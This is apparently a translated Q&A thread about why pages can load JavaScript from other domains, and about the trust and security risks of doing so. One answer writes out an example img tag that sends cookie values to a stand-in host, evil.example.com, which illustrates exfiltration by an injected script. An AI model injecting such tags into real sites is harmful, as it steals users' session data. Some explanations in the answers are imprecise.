为什么我们可以链接到另一个域上的js文件?

时间:2010-01-15 00:26:50

标签: javascript javascript-security

为什么当我们从y.com链接到x.com上的javascript文件(例如google analytics或jquery)时,它不会导致任何跨域安全问题?

例如:

在y.com/index.html中我们有:

<script type="text/javascript" src="http://x.com/jsfile.js" />

我们怎么知道什么时候可以做,什么时候做不好?

3 个答案:

答案 0 :(得分:7)

它有可能成为一个主要的安全漏洞,因此您必须信任托管JavaScript文件的网站。

例如,该代码可以向您的站点注入更多脚本标记和img标记,以便将敏感数据传递给第三方。

大卫对同源政策的评论可能会产生误导。将数据中继到远程站点的经典方法是将img标记插入远程域:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

如果远程主机上的JavaScript代码已更改为动态注入此类img标记,那么您的网站可能存在安全漏洞。其中一些问题可以缓解,例如使用仅通过JavaScript无法访问的HTTP。

分析系统的例子非常棒。您必须相信提供商不会接收任何敏感数据,例如您自己的cookie,并将其发送到远程位置。您还需要信任提供商他们的系统是安全的,并且黑客无法改变其服务器上的JavaScript文件。分析系统通常使用这些相同的技术,但希望他们将它用于良好而非邪恶。从某种意义上讲,与您的开发人员是否编写好的,安全的代码以及他们是否引入了一个秘密后门相比,这并没有什么不同。

至于为什么是允许的,它只是历史性的。网络根本没有考虑到安全性。无论是CSRF攻击,重放攻击还是XSS攻击,这些都是网络设计中的根本缺陷,现在成为Web开发人员关注的问题。

答案 1 :(得分:3)

数据的来源无关紧要,重要的是它的使用范围。

您只是从其他域获取脚本,它仍然在您自己的页面范围内运行,因此它无法访问域中加载它的资源。

如果您遇到跨域问题,例如包含来自其他域的网页的iframe,则您有两个不同的范围。 iframe中的页面在加载它的域的范围内运行,因此它可以访问该域中的资源,但它无法访问托管iframe的页面中的任何内容,因为它是不同的范围。 / p>

(注意:我不知道在这种情况下是否经常使用术语“范围”,可能会有一个更好地描述它的术语。)

答案 2 :(得分:0)

我不知道为什么我们能做到。但是您可以使用内容安全策略(CSP)来防止它发生,CSP是您的Web应用程序发送的HTTP标头,声明除了您明确允许的域之外,它不应加载JavaScript。